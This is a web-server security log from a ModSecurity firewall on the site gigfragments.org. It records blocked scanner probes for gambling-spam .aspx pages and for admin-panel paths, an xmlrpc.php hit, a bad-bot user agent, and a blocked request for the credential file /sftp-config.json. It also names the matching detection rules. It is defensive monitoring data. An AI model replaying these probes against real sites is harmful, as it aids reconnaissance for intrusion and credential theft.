[Fri Feb 20 19:37:40.988180 2026] [:error] [pid 54461:tid 54505] [client 195.201.199.99:44974] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZhHhC372fkN0w39NDOx3gAAAE0"]
[Fri Feb 20 19:37:43.797929 2026] [:error] [pid 54552:tid 54572] [client 195.201.199.99:45388] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZhHh8e4t0F-_sbWepYmOAAAANE"]
[Fri Feb 20 19:37:47.231799 2026] [:error] [pid 54520:tid 54546] [client 195.201.199.99:45986] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZhHi2QaQX7QUBqXcyHfjwAAAJg"]
[Fri Feb 20 19:37:49.841241 2026] [:error] [pid 54520:tid 54537] [client 195.201.199.99:46396] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZhHjWQaQX7QUBqXcyHflAAAAI8"]
[Fri Feb 20 19:37:52.711195 2026] [:error] [pid 54461:tid 54501] [client 195.201.199.99:46856] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZhHkC372fkN0w39NDOx9gAAAEk"]
[Fri Feb 20 19:37:55.914058 2026] [:error] [pid 59127:tid 59140] [client 195.201.199.99:47296] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZhHk3Sltzl55Qz-09g0uwAAAQs"]
[Fri Feb 20 19:37:58.862103 2026] [:error] [pid 54520:tid 54544] [client 195.201.199.99:47726] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZhHlmQaQX7QUBqXcyHfowAAAJY"]
[Fri Feb 20 19:38:01.709885 2026] [:error] [pid 54520:tid 54525] [client 195.201.199.99:48150] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZhHmWQaQX7QUBqXcyHfpQAAAIM"]
[Fri Feb 20 19:38:04.916619 2026] [:error] [pid 54552:tid 54570] [client 195.201.199.99:48634] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZhHnMe4t0F-_sbWepYmXgAAAM8"]
[Fri Feb 20 19:38:07.640882 2026] [:error] [pid 54460:tid 54485] [client 195.201.199.99:49020] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZhHn8oUiaZ-Z7V-F99opQAAABQ"]
[Fri Feb 20 19:38:10.350808 2026] [:error] [pid 54520:tid 54528] [client 195.201.199.99:49464] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZhHomQaQX7QUBqXcyHfsgAAAIY"]
[Fri Feb 20 19:38:13.500067 2026] [:error] [pid 54520:tid 54528] [client 195.201.199.99:49950] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZhHpWQaQX7QUBqXcyHfvgAAAIY"]
[Fri Feb 20 19:38:15.921761 2026] [:error] [pid 54552:tid 54562] [client 195.201.199.99:50354] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZhHp8e4t0F-_sbWepYmcwAAAMc"]
[Fri Feb 20 19:38:18.301408 2026] [:error] [pid 54461:tid 54510] [client 195.201.199.99:50742] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZhHqi372fkN0w39NDOyHgAAAFI"]
[Fri Feb 20 19:38:21.023279 2026] [:error] [pid 59127:tid 59140] [client 195.201.199.99:51248] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aZhHrXSltzl55Qz-09g02AAAAQs"]
[Fri Feb 20 19:38:23.973615 2026] [:error] [pid 54461:tid 54503] [client 195.201.199.99:51790] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZhHry372fkN0w39NDOyKgAAAEs"]
[Fri Feb 20 19:38:26.649517 2026] [:error] [pid 46012:tid 46037] [client 195.201.199.99:52264] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aZhHsjXz-GTvuxLwgUE-wwAAAVc"]
[Fri Feb 20 19:38:29.806286 2026] [:error] [pid 54460:tid 54467] [client 195.201.199.99:52740] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZhHtcoUiaZ-Z7V-F99ozQAAAAI"]
[Fri Feb 20 19:38:32.978553 2026] [:error] [pid 54520:tid 54530] [client 195.201.199.99:53224] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aZhHuGQaQX7QUBqXcyHf5AAAAIg"]
[Fri Feb 20 19:39:20.083499 2026] [:error] [pid 54520:tid 54541] [client 195.201.199.99:53662] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZhH6GQaQX7QUBqXcyHgLAAAAJM"]
[Fri Feb 20 19:39:23.194104 2026] [:error] [pid 54461:tid 54501] [client 195.201.199.99:33966] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZhH6y372fkN0w39NDOypQAAAEk"]
[Fri Feb 20 19:39:26.477488 2026] [:error] [pid 54520:tid 54526] [client 195.201.199.99:34580] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZhH7mQaQX7QUBqXcyHgQQAAAIQ"]
[Fri Feb 20 19:39:29.898025 2026] [:error] [pid 46012:tid 46021] [client 195.201.199.99:35206] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZhH8TXz-GTvuxLwgUE_aAAAAUc"]
[Fri Feb 20 19:39:32.961421 2026] [:error] [pid 54552:tid 54569] [client 195.201.199.99:35722] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZhH9Me4t0F-_sbWepYm5QAAAM4"]
[Fri Feb 20 19:39:35.777003 2026] [:error] [pid 54461:tid 54496] [client 195.201.199.99:36142] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZhH9y372fkN0w39NDOy1gAAAEQ"]
[Fri Feb 20 19:39:38.457618 2026] [:error] [pid 54552:tid 54577] [client 195.201.199.99:36568] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZhH-se4t0F-_sbWepYm7QAAANY"]
[Fri Feb 20 19:39:41.300951 2026] [:error] [pid 54520:tid 54540] [client 195.201.199.99:36980] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZhH_WQaQX7QUBqXcyHgVQAAAJI"]
[Fri Feb 20 19:39:43.912832 2026] [:error] [pid 46012:tid 46015] [client 195.201.199.99:37428] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZhH_zXz-GTvuxLwgUE_ggAAAUE"]
[Fri Feb 20 19:39:47.045472 2026] [:error] [pid 54520:tid 54522] [client 195.201.199.99:37906] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZhIA2QaQX7QUBqXcyHgYQAAAIA"]
[Fri Feb 20 19:39:50.508442 2026] [:error] [pid 59127:tid 59150] [client 195.201.199.99:38470] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZhIBnSltzl55Qz-09g1tAAAARU"]
[Fri Feb 20 19:39:53.335293 2026] [:error] [pid 59127:tid 59148] [client 195.201.199.99:38922] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZhICXSltzl55Qz-09g1vAAAARM"]
[Fri Feb 20 19:39:56.327542 2026] [:error] [pid 59127:tid 59151] [client 195.201.199.99:39398] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZhIDHSltzl55Qz-09g1xAAAARY"]
[Fri Feb 20 19:39:58.850874 2026] [:error] [pid 59127:tid 59142] [client 195.201.199.99:39794] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZhIDnSltzl55Qz-09g1ywAAAQ0"]
[Fri Feb 20 19:40:01.957585 2026] [:error] [pid 54520:tid 54523] [client 195.201.199.99:40284] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZhIEWQaQX7QUBqXcyHghAAAAIE"]
[Fri Feb 20 19:40:04.449308 2026] [:error] [pid 46012:tid 46021] [client 195.201.199.99:40670] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZhIFDXz-GTvuxLwgUE_jwAAAUc"]
[Fri Feb 20 19:40:07.298504 2026] [:error] [pid 54461:tid 54501] [client 195.201.199.99:41130] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZhIFy372fkN0w39NDOzAgAAAEk"]
[Fri Feb 20 19:40:10.034882 2026] [:error] [pid 54552:tid 54555] [client 195.201.199.99:41682] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZhIGse4t0F-_sbWepYnHAAAAMA"]
[Fri Feb 20 19:40:12.991675 2026] [:error] [pid 46012:tid 46023] [client 195.201.199.99:42214] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZhIHDXz-GTvuxLwgUE_tgAAAUk"]
[Fri Feb 20 19:40:15.677933 2026] [:error] [pid 54520:tid 54539] [client 195.201.199.99:42696] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZhIH2QaQX7QUBqXcyHgmwAAAJE"]
[Fri Feb 20 19:59:53.676196 2026] [:error] [pid 54520:tid 54535] [client 83.58.177.243:63273] [client 83.58.177.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.58.177.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZhMuWQaQX7QUBqXcyHmsAAAAI0"]
[Fri Feb 20 21:26:42.760931 2026] [:error] [pid 54460:tid 54481] [client 182.8.129.89:11945] [client 182.8.129.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZhhEsoUiaZ-Z7V-F9-TTgAAABA"]
[Fri Feb 20 23:00:19.058833 2026] [:error] [pid 54552:tid 54557] [client 23.132.132.4:22004] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/administrator/"] [unique_id "aZh3A8e4t0F-_sbWepZegAAAAMI"], referer: https://www.gigfragments.org//administrator/
[Fri Feb 20 23:00:19.268809 2026] [:error] [pid 59127:tid 59147] [client 23.132.132.4:22006] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aZh3A3Sltzl55Qz-09hqkwAAARI"], referer: https://www.gigfragments.org//admin.php
[Fri Feb 20 23:00:19.473870 2026] [:error] [pid 54552:tid 54574] [client 23.132.132.4:22002] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/"] [unique_id "aZh3A8e4t0F-_sbWepZegQAAANM"], referer: https://www.gigfragments.org//admin/
[Fri Feb 20 23:00:19.726942 2026] [:error] [pid 54460:tid 54473] [client 23.132.132.4:22008] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adm/"] [unique_id "aZh3A8oUiaZ-Z7V-F9-1rgAAAAg"], referer: https://www.gigfragments.org//adm/
[Fri Feb 20 23:00:20.028909 2026] [:error] [pid 46012:tid 46028] [client 23.132.132.4:22010] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manage/"] [unique_id "aZh3BDXz-GTvuxLwgUGDbwAAAU4"], referer: https://www.gigfragments.org//manage/
[Fri Feb 20 23:00:20.231814 2026] [:error] [pid 54552:tid 54558] [client 23.132.132.4:22012] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager/"] [unique_id "aZh3BMe4t0F-_sbWepZehAAAAMM"], referer: https://www.gigfragments.org//manager/
[Fri Feb 20 23:00:20.311801 2026] [:error] [pid 54520:tid 54545] [client 23.132.132.4:22014] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/backend/"] [unique_id "aZh3BGQaQX7QUBqXcyEX-gAAAJc"], referer: https://www.gigfragments.org//backend/
[Fri Feb 20 23:00:20.809908 2026] [:error] [pid 54460:tid 54467] [client 23.132.132.4:22016] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dashboard/"] [unique_id "aZh3BMoUiaZ-Z7V-F9-1rwAAAAI"], referer: https://www.gigfragments.org//dashboard/
[Fri Feb 20 23:00:21.001819 2026] [:error] [pid 54520:tid 54534] [client 23.132.132.4:22018] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/siteadmin/"] [unique_id "aZh3BWQaQX7QUBqXcyEX_QAAAIw"], referer: https://www.gigfragments.org//siteadmin/
[Fri Feb 20 23:00:21.386656 2026] [:error] [pid 54552:tid 54571] [client 23.132.132.4:22020] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin_panel/"] [unique_id "aZh3Bce4t0F-_sbWepZehQAAANA"], referer: https://www.gigfragments.org//admin_panel/
[Fri Feb 20 23:00:21.431121 2026] [:error] [pid 46012:tid 46025] [client 23.132.132.4:22022] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sysadmin/"] [unique_id "aZh3BTXz-GTvuxLwgUGDdAAAAUs"], referer: https://www.gigfragments.org//sysadmin/
[Fri Feb 20 23:00:21.819693 2026] [:error] [pid 59127:tid 59146] [client 23.132.132.4:22024] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin_area/"] [unique_id "aZh3BXSltzl55Qz-09hqmAAAARE"], referer: https://www.gigfragments.org//admin_area/
[Fri Feb 20 23:00:21.998205 2026] [:error] [pid 54460:tid 54487] [client 23.132.132.4:22026] [client 23.132.132.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin_login.php"] [unique_id "aZh3BcoUiaZ-Z7V-F9-1swAAABY"], referer: https://www.gigfragments.org//admin_login.php
[Sat Feb 21 02:27:21.650710 2026] [:error] [pid 54520:tid 54534] [client 103.65.237.124:64916] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aZiniWQaQX7QUBqXcyFV8QAAAIw"]
